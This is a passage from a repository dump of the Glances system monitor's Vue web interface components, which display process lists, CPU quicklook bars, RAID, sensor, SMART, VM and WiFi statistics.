process.nice != 32) ||\n\t\t\t\t\t\t(!isWindows && process.nice != 0));\n\n\t\t\t\tif (Array.isArray(process.cmdline)) {\n\t\t\t\t\tprocess.cmdline = process.cmdline.join(\" \").replace(/\\n/g, \" \");\n\t\t\t\t}\n\n\t\t\t\tif (\n\t\t\t\t\ttypeof process.cmdline !== \"string\" ||\n\t\t\t\t\tprocess.cmdline.length === 0\n\t\t\t\t) {\n\t\t\t\t\tprocess.cmdline = process.name;\n\t\t\t\t}\n\n\t\t\t\treturn process;\n\t\t\t});\n\n\t\t\treturn orderBy(\n\t\t\t\tprograms,\n\t\t\t\t[sorter.column].reduce((retval, col) => {\n\t\t\t\t\tif (col === \"io_counters\") {\n\t\t\t\t\t\tcol = [\"io_read\", \"io_write\"];\n\t\t\t\t\t}\n\t\t\t\t\treturn retval.concat(col);\n\t\t\t\t}, []),\n\t\t\t\t[sorter.isReverseColumn(sorter.column) ? \"desc\" : \"asc\"],\n\t\t\t).slice(0, this.limit);\n\t\t},\n\t\tioReadWritePresentPrograms() {\n\t\t\treturn (this.stats_programlist || []).some(\n\t\t\t\t({ io_counters }) => io_counters,\n\t\t\t);\n\t\t},\n\t\tlimit() {\n\t\t\treturn this.config.outputs !== undefined\n\t\t\t\t? this.config.outputs.max_processes_display\n\t\t\t\t: undefined;\n\t\t},\n\t\tfocus() {\n\t\t\treturn this.args !== undefined &&\n\t\t\t\tthis.args.process_focus !== undefined &&\n\t\t\t\tthis.args.process_focus !== null\n\t\t\t\t? this.args.process_focus.split(\",\")\n\t\t\t\t: this.config.processlist !== undefined &&\n\t\t\t\t\t\tthis.config.processlist.focus !== undefined &&\n\t\t\t\t\t\tthis.config.processlist.focus !== null\n\t\t\t\t\t? this.config.processlist.focus.split(\",\")\n\t\t\t\t\t: [];\n\t\t},\n\t\tis_focus() {\n\t\t\treturn this.focus.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tupdateProcess(process, isWindows, args, cpucore) {\n\t\t\tprocess.memvirt = \"?\";\n\t\t\tprocess.memres = \"?\";\n\t\t\tif (process.memory_info) {\n\t\t\t\tprocess.memvirt = process.memory_info.vms;\n\t\t\t\tprocess.memres = process.memory_info.rss;\n\t\t\t}\n\n\t\t\tif (isWindows && process.username !== null) {\n\t\t\t\tprocess.username = last(process.username.split(\"\\\\\"));\n\t\t\t}\n\n\t\t\tprocess.timeforhuman = \"?\";\n\t\t\tif (process.cpu_times) {\n\t\t\t\tprocess.timeplus = timedelta([\n\t\t\t\t\tprocess.cpu_times[\"user\"],\n\t\t\t\t\tprocess.cpu_times[\"system\"],\n\t\t\t\t]);\n\t\t\t\tprocess.timeforhuman =\n\t\t\t\t\tprocess.timeplus.hours.toString().padStart(2, \"0\") +\n\t\t\t\t\t\":\" +\n\t\t\t\t\tprocess.timeplus.minutes.toString().padStart(2, \"0\") +\n\t\t\t\t\t\":\" +\n\t\t\t\t\tprocess.timeplus.seconds.toString().padStart(2, \"0\");\n\t\t\t}\n\n\t\t\tif (process.num_threads === null) {\n\t\t\t\tprocess.num_threads = -1;\n\t\t\t}\n\n\t\t\tprocess.irix = 1;\n\t\t\tif (process.cpu_percent === null) {\n\t\t\t\tprocess.cpu_percent = -1;\n\t\t\t} else {\n\t\t\t\tif (args.disable_irix) {\n\t\t\t\t\tprocess.irix = cpucore;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (process.memory_percent === null) {\n\t\t\t\tprocess.memory_percent = -1;\n\t\t\t}\n\n\t\t\tprocess.io_read = null;\n\t\t\tprocess.io_write = null;\n\n\t\t\tif (process.io_counters) {\n\t\t\t\tprocess.io_read =\n\t\t\t\t\t(process.io_counters[0] - process.io_counters[2]) /\n\t\t\t\t\tprocess.time_since_update;\n\t\t\t\tprocess.io_write =\n\t\t\t\t\t(process.io_counters[1] - process.io_counters[3]) /\n\t\t\t\t\tprocess.time_since_update;\n\t\t\t}\n\n\t\t\tprocess.isNice =\n\t\t\t\tprocess.nice !== undefined &&\n\t\t\t\t((isWindows && process.nice != 32) ||\n\t\t\t\t\t(!isWindows && process.nice != 0));\n\n\t\t\tif (Array.isArray(process.cmdline)) {\n\t\t\t\tprocess.name =\n\t\t\t\t\tprocess.name +\n\t\t\t\t\t\" \" +\n\t\t\t\t\tprocess.cmdline.slice(1).join(\" \").replace(/\\n/g, \" \");\n\t\t\t\tprocess.cmdline = process.cmdline.join(\" \").replace(/\\n/g, \" \");\n\t\t\t}\n\n\t\t\tif (typeof process.cmdline !== \"string\" || process.cmdline.length === 0) {\n\t\t\t\tprocess.cmdline = process.name;\n\t\t\t}\n\t\t\treturn process;\n\t\t},\n\t\tgetCpuPercentAlert(process) {\n\t\t\treturn GlancesHelper.getAlert(\n\t\t\t\t\"processlist\",\n\t\t\t\t\"processlist_cpu_\",\n\t\t\t\tprocess.cpu_percent,\n\t\t\t);\n\t\t},\n\t\tgetMemoryPercentAlert(process) {\n\t\t\treturn GlancesHelper.getAlert(\n\t\t\t\t\"processlist\",\n\t\t\t\t\"processlist_mem_\",\n\t\t\t\tprocess.cpu_percent,\n\t\t\t);\n\t\t},\n\t\tgetDisableStats() {\n\t\t\treturn (\n\t\t\t\tGlancesHelper.getLimit(\"processlist\", \"processlist_disable_stats\") || []\n\t\t\t);\n\t\t},\n\t\tgetDisableVms() {\n\t\t\tconst ret = GlancesHelper.getLimit(\n\t\t\t\t\"processlist\",\n\t\t\t\t\"processlist_disable_virtual_memory\",\n\t\t\t) || [\"False\"];\n\t\t\treturn ret[0].toLowerCase() === \"true\" ? true : false;\n\t\t},\n\t\tsetExtendedStats(pid) {\n\t\t\tfetch(\"api/4/processes/extended/\" + pid.toString(), {\n\t\t\t\tmethod: \"POST\",\n\t\t\t}).then((response) => response.json());\n\t\t\tthis.$forceUpdate();\n\t\t},\n\t\tdisableExtendedStats() {\n\t\t\tfetch(\"api/4/processes/extended/disable\", { method: \"POST\" }).then(\n\t\t\t\t(response) => response.json(),\n\t\t\t);\n\t\t\tthis.$forceUpdate();\n\t\t},\n\t},\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-quicklook.vue",
    "content": "<template>\n\t<section id=\"quicklook\" class=\"plugin\">\n\t\t<div class=\"d-flex justify-content-between\">\n\t\t\t<span class=\"text-start text-truncate\">\n\t\t\t\t{{ cpu_name }}\n\t\t\t</span>\n\t\t\t<span v-if=\"cpu_hz_current\" class=\"text-end d-none d-xxl-block frequency\">\n\t\t\t\t{{ cpu_hz_current }}/{{ cpu_hz }}Ghz\n\t\t\t</span>\n\t\t</div>\n\t\t<div class=\"table-responsive\">\n\t\t\t<table class=\"table table-sm table-borderless\">\n\t\t\t\t<tr v-if=\"!args.percpu\">\n\t\t\t\t\t<td scope=\"col\">CPU</td>\n\t\t\t\t\t<td scope=\"col\" class=\"progress\">\n\t\t\t\t\t\t<div :class=\"`progress-bar progress-bar-${getDecoration('cpu')}`\" role=\"progressbar\"\n\t\t\t\t\t\t\t:aria-valuenow=\"cpu\" aria-valuemin=\"0\" aria-valuemax=\"100\" :style=\"`width: ${cpu}%;`\">\n\t\t\t\t\t\t\t&nbsp;\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td scope=\"col\" class=\"text-end\"><span>{{ cpu }}%</span></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr v-for=\"(percpu, percpuId) in percpus\" v-if=\"args.percpu\" :key=\"percpuId\">\n\t\t\t\t\t<td scope=\"col\">CPU{{ percpu.number }}</td>\n\t\t\t\t\t<td scope=\"col\" class=\"progress\">\n\t\t\t\t\t\t<div :class=\"`progress-bar progress-bar-${getDecoration('cpu')}`\" role=\"progressbar\"\n\t\t\t\t\t\t\t:aria-valuenow=\"percpu.total\" aria-valuemin=\"0\" aria-valuemax=\"100\"\n\t\t\t\t\t\t\t:style=\"`width: ${percpu.total}%;`\">\n\t\t\t\t\t\t\t&nbsp;\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td scope=\"col\" class=\"text-end\"><span>{{ percpu.total }}%</span></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr v-for=\"(key) in stats_list_after_cpu\">\n\t\t\t\t\t<td scope=\"col\">{{ key.toUpperCase() }}</td>\n\t\t\t\t\t<td scope=\"col\" class=\"progress\">\n\t\t\t\t\t\t<div :class=\"`progress-bar progress-bar-${getDecoration(key)}`\" role=\"progressbar\"\n\t\t\t\t\t\t\t:aria-valuenow=\"stats[key]\" aria-valuemin=\"0\" aria-valuemax=\"100\"\n\t\t\t\t\t\t\t:style=\"`width: ${stats[key]}%;`\">\n\t\t\t\t\t\t\t&nbsp;\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td scope=\"col\" class=\"text-end\"><span>{{ stats[key] }}%</span></td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t</div>\n\t</section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tconfig() {\n\t\t\treturn this.store.config || {};\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"quicklook\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"quicklook\"];\n\t\t},\n\t\tcpu() {\n\t\t\treturn this.stats.cpu;\n\t\t},\n\t\tcpu_name() {\n\t\t\treturn this.stats.cpu_name;\n\t\t},\n\t\tcpu_hz_current() {\n\t\t\treturn (this.stats.cpu_hz_current / 1000000000).toFixed(2);\n\t\t},\n\t\tcpu_hz() {\n\t\t\treturn (this.stats.cpu_hz / 1000000000).toFixed(2);\n\t\t},\n\t\tpercpus() {\n\t\t\tconst cpu_list = this.stats.percpu.map(\n\t\t\t\t({ cpu_number: number, total }) => ({ number, total }),\n\t\t\t);\n\t\t\tconst max_cpu_display = parseInt(this.config.percpu.max_cpu_display);\n\t\t\tif (this.stats.percpu.length > max_cpu_display) {\n\t\t\t\tvar cpu_list_sorted = cpu_list.sort((a, b) => b.total - a.total);\n\t\t\t\tconst other_cpu = {\n\t\t\t\t\tnumber: \"x\",\n\t\t\t\t\ttotal: Number(\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tcpu_list_sorted\n\t\t\t\t\t\t\t\t.slice(max_cpu_display)\n\t\t\t\t\t\t\t\t.reduce((n, { total }) => n + total, 0) /\n\t\t\t\t\t\t\t(this.stats.percpu.length - max_cpu_display)\n\t\t\t\t\t\t).toFixed(1),\n\t\t\t\t\t),\n\t\t\t\t};\n\t\t\t\t// Add the top n this\n\t\t\t\t// and the mean of others CPU\n\t\t\t\tcpu_list_sorted = cpu_list_sorted.slice(0, max_cpu_display);\n\t\t\t\tcpu_list_sorted.push(other_cpu);\n\t\t\t}\n\t\t\treturn this.stats.percpu.length <= max_cpu_display\n\t\t\t\t? cpu_list\n\t\t\t\t: cpu_list_sorted;\n\t\t},\n\t\tstats_list_after_cpu() {\n\t\t\treturn this.view.list.filter((key) => !key.includes(\"cpu\"));\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(value) {\n\t\t\tif (this.view[value] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[value].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-raid.vue",
    "content": "<template>\n    <section v-if=\"hasDisks\" id=\"raid\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">RAID disks {{ disks.length }}</th>\n                    <th scope=\"col\" class=\"text-end\">Used</th>\n                    <th scope=\"col\" class=\"text-end\">Total</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(disk, diskId) in disks\" :key=\"diskId\">\n                    <td scope=\"row\">\n                        {{ disk.type.toUpperCase() }} {{ disk.name }}\n                        <div v-show=\"disk.degraded\" class=\"warning\">└─ Degraded mode</div>\n                        <div v-show=\"disk.degraded\">&nbsp; &nbsp;└─ {{ disk.config }}</div>\n                        <div v-show=\"disk.inactive\" class=\"critical\">└─ Status {{ disk.status }}</div>\n                        <template v-if=\"disk.inactive\">\n                            <div v-for=\"(component, componentId) in disk.components\" :key=\"componentId\">\n                                &nbsp; &nbsp;{{\n                                    componentId === disk.components.length - 1 ? '└─' : '├─'\n                                }}\n                                disk {{ component.number }}: {{ component.name }}\n                            </div>\n                        </template>\n                    </td>\n                    <td v-show=\"disk.status == 'active'\" scope=\"row\" class=\"text-end\" :class=\"getAlert(disk)\">\n                        {{ disk.used }}\n                    </td>\n                    <td v-show=\"disk.status == 'active'\" scope=\"row\" class=\"text-end\" :class=\"getAlert(disk)\">\n                        {{ disk.available }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"raid\"];\n\t\t},\n\t\tdisks() {\n\t\t\tconst disks = Object.entries(this.stats).map(([diskKey, diskData]) => {\n\t\t\t\tconst components = Object.entries(diskData.components).map(\n\t\t\t\t\t([name, number]) => {\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\tnumber: number,\n\t\t\t\t\t\t\tname: name,\n\t\t\t\t\t\t};\n\t\t\t\t\t},\n\t\t\t\t);\n\t\t\t\treturn {\n\t\t\t\t\tname: diskKey,\n\t\t\t\t\ttype: diskData.type == null ? \"UNKNOWN\" : diskData.type,\n\t\t\t\t\tused: diskData.used,\n\t\t\t\t\tavailable: diskData.available,\n\t\t\t\t\tstatus: diskData.status,\n\t\t\t\t\tdegraded: diskData.used < diskData.available,\n\t\t\t\t\tconfig:\n\t\t\t\t\t\tdiskData.config == null ? \"\" : diskData.config.replace(\"_\", \"A\"),\n\t\t\t\t\tinactive: diskData.status == \"inactive\",\n\t\t\t\t\tcomponents: orderBy(components, [\"number\"]),\n\t\t\t\t};\n\t\t\t});\n\t\t\treturn orderBy(disks, [\"name\"]);\n\t\t},\n\t\thasDisks() {\n\t\t\treturn this.disks.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetAlert(disk) {\n\t\t\tif (disk.inactive) {\n\t\t\t\treturn \"critical\";\n\t\t\t}\n\t\t\tif (disk.degraded) {\n\t\t\t\treturn \"warning\";\n\t\t\t}\n\t\t\treturn \"ok\";\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-sensors.vue",
    "content": "<template>\n\t<section v-if=\"hasSensors\" id=\"sensors\" class=\"plugin\">\n\t\t<table class=\"table table-sm table-borderless\">\n\t\t\t<thead>\n\t\t\t\t<tr>\n\t\t\t\t\t<th scope=\"col\">SENSORS</th>\n\t\t\t\t\t<th scope=\"col\" class=\"text-end\"></th>\n\t\t\t\t</tr>\n\t\t\t</thead>\n\t\t\t<tbody>\n\t\t\t\t<tr v-for=\"(sensor, sensorId) in sensors\" :key=\"sensorId\">\n\t\t\t\t\t<td scope=\"row\">\n\t\t\t\t\t\t{{ sensor.label }}\n\t\t\t\t\t</td>\n\t\t\t\t\t<td class=\"text-end\" :class=\"getDecoration(sensor.label)\">\n\t\t\t\t\t\t{{ sensor.value }}{{ sensor.unit }}\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t</tbody>\n\t\t</table>\n\t</section>\n</template>\n\n<script>\nimport { GlancesHelper } from \"../services.js\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"sensors\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"sensors\"];\n\t\t},\n\t\tsensors() {\n\t\t\treturn (\n\t\t\t\tthis.stats\n\t\t\t\t\t// .filter((sensor) => {\n\t\t\t\t\t//     // prettier-ignore\n\t\t\t\t\t//     const isEmpty = (Array.isArray(sensor.value) && sensor.value.length === 0) || sensor.value === 0;\n\t\t\t\t\t//     return !isEmpty;\n\t\t\t\t\t// })\n\t\t\t\t\t.map((sensor) => {\n\t\t\t\t\t\tif (\n\t\t\t\t\t\t\tthis.args.fahrenheit &&\n\t\t\t\t\t\t\tsensor.type != \"battery\" &&\n\t\t\t\t\t\t\tsensor.type != \"fan_speed\"\n\t\t\t\t\t\t) {\n\t\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\t\t...sensor,\n\t\t\t\t\t\t\t\t// prettier-ignore\n\t\t\t\t\t\t\t\tvalue: parseFloat(sensor.value * 1.8 + 32).toFixed(1),\n\t\t\t\t\t\t\t\tunit: \"F\",\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn sensor;\n\t\t\t\t\t})\n\t\t\t);\n\t\t},\n\t\thasSensors() {\n\t\t\treturn this.sensors.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(key) {\n\t\t\tif (this.view[key].value.decoration === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[key].value.decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-smart.vue",
    "content": "<template>\n    <section v-if=\"hasDrives\" id=\"smart\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">SMART DISKS</th>\n                    <th scope=\"col\" class=\"text-end\"></th>\n                </tr>\n            </thead>\n            <tbody>\n                <template v-for=\"(drive, driveId) in drives\" :key=\"driveId\">\n                    <tr>\n                        <td scope=\"row\">{{ drive.name }}</td>\n                        <td scope=\"col\" class=\"text-end\"></td>\n                    </tr>\n                    <tr v-for=\"(metric, metricId) in drive.details\" :key=\"metricId\">\n                        <td scope=\"row\">{{ metric.name }}</td>\n                        <td scope=\"row\" class=\"text-end text-truncate\">{{ formatted(metric) }}</td>\n                    </tr>\n                </template>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"smart\"];\n\t\t},\n\t\tdrives() {\n\t\t\treturn (Array.isArray(this.stats) ? this.stats : []).map((data) => {\n\t\t\t\tconst name = data.DeviceName;\n\t\t\t\tconst details = Object.entries(data)\n\t\t\t\t\t.filter(([key]) => key !== \"DeviceName\")\n\t\t\t\t\t.sort(([, a], [, b]) =>\n\t\t\t\t\t\ta.name < b.name ? -1 : a.name > b.name ? 1 : 0,\n\t\t\t\t\t)\n\t\t\t\t\t.map(([prop, value]) => value);\n\t\t\t\treturn { name, details };\n\t\t\t});\n\t\t},\n\t\thasDrives() {\n\t\t\treturn this.drives.length > 0;\n\t\t}\n\t},\n\tmethods: {\n\t\tformatted(metric) {\n\t\t\tif(typeof metric.key === 'undefined')\n\t\t\t\treturn metric.raw;\n\t\t\t\n\t\t\tif (this.requiresFormatting(metric.key)) {\n\t\t\t\treturn this.$filters.bytes(metric.raw);\n\t\t\t}\n\t\t\treturn metric.raw;\n\t\t},\n\t\trequiresFormatting(key) {\n\t\t\tconst keysToFormat = [\"bytesWritten\", \"bytesRead\", \"dataUnitsRead\", \"dataUnitsWritten\", \"hostReadCommands\", \"hostWriteCommands\" ];\n\t\t\treturn keysToFormat.includes(key);\n\t\t}\n\t}\n\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-system.vue",
    "content": "<template>\n    <section id=\"system\" class=\"plugin\">\n        <span v-if=\"isDisconnected\" class=\"critical\">Disconnected from</span>\n        <span class=\"title\">{{ hostname }}</span>\n        <span v-if=\"!isDisconnected\" class=\"text-truncate\">{{ humanReadableName }}</span>\n    </section>\n</template>\n\n<script>\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"system\"];\n\t\t},\n\t\thostname() {\n\t\t\treturn this.stats[\"hostname\"];\n\t\t},\n\t\thumanReadableName() {\n\t\t\treturn this.stats[\"hr_name\"];\n\t\t},\n\t\tisDisconnected() {\n\t\t\treturn this.store.status === \"FAILURE\";\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-uptime.vue",
    "content": "<template>\n    <section id=\"uptime\" class=\"plugin\">\n        <span>Uptime: {{ value }}</span>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tvalue() {\n\t\t\treturn this.data.stats[\"uptime\"];\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-vms.vue",
    "content": "<template>\n    <section v-if=\"vms.length\" id=\"vms\" class=\"plugin\">\n        <span class=\"title\">VMs</span>\n        <span v-show=\"vms.length > 1\">{{ vms.length }} sorted by {{ sorter.getColumnLabel(sorter.column) }}</span>\n        <table class=\"table table-sm table-borderless table-striped table-hover\">\n            <thead>\n                <tr>\n                    <td v-show=\"showEngine\">Engine</td>\n                    <td :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                        @click=\"args.sort_processes_key = 'name'\">\n                        Name\n                    </td>\n                    <td>Status</td>\n                    <td>Core</td>\n                    <td :class=\"['sortable', sorter.column === 'cpu_time' && 'sort']\"\n                        @click=\"args.sort_processes_key = 'cpu_time'\">\n                        CPU%\n                    </td>\n                    <td :class=\"['sortable', sorter.column === 'memory_usage' && 'sort']\"\n                        @click=\"args.sort_processes_key = 'memory_usage'\">\n                        MEM\n                    </td>\n                    <td>/ MAX</td>\n                    <td :class=\"['sortable', sorter.column === 'load_1min' && 'sort']\"\n                        @click=\"args.sort_processes_key = 'load_1min'\">\n                        LOAD 1/5/15min\n                    </td>\n                    <td>Release</td>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(vm, vmId) in vms\" :key=\"vmId\">\n                    <td v-show=\"showEngine\">{{ vm.engine }}</td>\n                    <td>{{ vm.name }}</td>\n                    <td :class=\"vm.status == 'stopped' ? 'careful' : 'ok'\">\n                        {{ vm.status }}\n                    </td>\n                    <td>\n                        {{ $filters.number(vm.cpu_count, 1) }}\n                    </td>\n                    <td>\n                        {{ $filters.number(vm.cpu_time, 1) }}\n                    </td>\n                    <td>\n                        {{ $filters.bytes(vm.memory_usage) }}\n                    </td>\n                    <td>\n                        / {{ $filters.bytes(vm.memory_total) }}\n                    </td>\n                    <td>\n                        {{ $filters.number(vm.load_1min) }}/{{ $filters.number(vm.load_5min) }}/{{\n                            $filters.number(vm.load_15min) }}\n                    </td>\n                    <td>\n                        {{ vm.release }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t\tsorter: undefined,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tsortProcessesKey() {\n\t\t\treturn this.args.sort_processes_key;\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"vms\"];\n\t\t},\n\t\tviews() {\n\t\t\treturn this.data.views[\"vms\"];\n\t\t},\n\t\tvms() {\n\t\t\tconst { sorter } = this;\n\t\t\tconst vms = (this.stats || []).map((vmData) => {\n\t\t\t\treturn {\n\t\t\t\t\tid: vmData.id,\n\t\t\t\t\tname: vmData.name,\n\t\t\t\t\tstatus: vmData.status != undefined ? vmData.status : \"-\",\n\t\t\t\t\tcpu_count: vmData.cpu_count != undefined ? vmData.cpu_count : \"-\",\n\t\t\t\t\tcpu_time: vmData.cpu_time != undefined ? vmData.cpu_time : \"-\",\n\t\t\t\t\tcpu_time_rate_per_sec:\n\t\t\t\t\t\tvmData.cpu_time_rate_per_sec != undefined\n\t\t\t\t\t\t\t? vmData.cpu_time_rate_per_sec\n\t\t\t\t\t\t\t: \"?\",\n\t\t\t\t\tmemory_usage:\n\t\t\t\t\t\tvmData.memory_usage != undefined ? vmData.memory_usage : \"-\",\n\t\t\t\t\tmemory_total:\n\t\t\t\t\t\tvmData.memory_total != undefined ? vmData.memory_total : \"-\",\n\t\t\t\t\tload_1min: vmData.load_1min != undefined ? vmData.load_1min : \"-\",\n\t\t\t\t\tload_5min: vmData.load_5min != undefined ? vmData.load_5min : \"-\",\n\t\t\t\t\tload_15min: vmData.load_15min != undefined ? vmData.load_15min : \"-\",\n\t\t\t\t\trelease: vmData.release,\n\t\t\t\t\timage: vmData.image,\n\t\t\t\t\tengine: vmData.engine,\n\t\t\t\t\tengine_version: vmData.engine_version,\n\t\t\t\t};\n\t\t\t});\n\t\t\treturn orderBy(\n\t\t\t\tvms,\n\t\t\t\t[sorter.column].reduce((retval, col) => {\n\t\t\t\t\tif (col === \"memory_usage\") {\n\t\t\t\t\t\tcol = [\"memory_usage\"];\n\t\t\t\t\t}\n\t\t\t\t\treturn retval.concat(col);\n\t\t\t\t}, []),\n\t\t\t\t[sorter.isReverseColumn(sorter.column) ? \"desc\" : \"asc\"],\n\t\t\t);\n\t\t},\n\t\tshowEngine() {\n\t\t\treturn this.views.show_engine_name;\n\t\t},\n\t},\n\twatch: {\n\t\tsortProcessesKey: {\n\t\t\timmediate: true,\n\t\t\thandler(sortProcessesKey) {\n\t\t\t\tconst sortable = [\"load_1min\", \"cpu_time\", \"memory_usage\", \"name\"];\n\t\t\t\tfunction isReverseColumn(column) {\n\t\t\t\t\treturn ![\"name\"].includes(column);\n\t\t\t\t}\n\t\t\t\tfunction getColumnLabel(value) {\n\t\t\t\t\tconst labels = {\n\t\t\t\t\t\tload_1min: \"load\",\n\t\t\t\t\t\tcpu_time: \"CPU time\",\n\t\t\t\t\t\tmemory_usage: \"memory consumption\",\n\t\t\t\t\t\tname: \"VM name\",\n\t\t\t\t\t\tNone: \"None\",\n\t\t\t\t\t};\n\t\t\t\t\treturn labels[value] || value;\n\t\t\t\t}\n\t\t\t\tif (!sortProcessesKey || sortable.includes(sortProcessesKey)) {\n\t\t\t\t\tthis.sorter = {\n\t\t\t\t\t\tcolumn: this.args.sort_processes_key || \"cpu_time\",\n\t\t\t\t\t\tauto: !this.args.sort_processes_key,\n\t\t\t\t\t\tisReverseColumn,\n\t\t\t\t\t\tgetColumnLabel,\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t},\n\t\t},\n\t},\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-wifi.vue",
    "content": "<template>\n    <section v-if=\"hasHotpots\" id=\"wifi\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">WIFI</th>\n                    <th scope=\"col\" class=\"text-end\">dBm</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(hotspot, hotspotId) in hotspots\" :key=\"hotspotId\">\n                    <td scope=\"row\">{{ $filters.limitTo(hotspot.ssid, 20) }}</td>\n                    <td scope=\"row\" class=\"text-end\" :class=\"getDecoration(hotspot, 'quality_level')\">\n                        {{ hotspot.quality_level }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"wifi\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"wifi\"];\n\t\t},\n\t\thotspots() {\n\t\t\tconst hotspots = this.stats\n\t\t\t\t.map((hotspotData) => {\n\t\t\t\t\tif (hotspotData[\"ssid\"] === \"\") {\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\treturn {\n\t\t\t\t\t\tssid: hotspotData[\"ssid\"],\n\t\t\t\t\t\tquality_level: hotspotData[\"quality_level\"],\n\t\t\t\t\t};\n\t\t\t\t})\n\t\t\t\t.filter(Boolean);\n\t\t\treturn orderBy(hotspots, [\"ssid\"]);\n\t\t},\n\t\thasHotpots() {\n\t\t\treturn this.hotspots.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(hotpost, field) {\n\t\t\tif (this.view[hotpost.ssid][field] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[hotpost.ssid][field].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/filters.js",
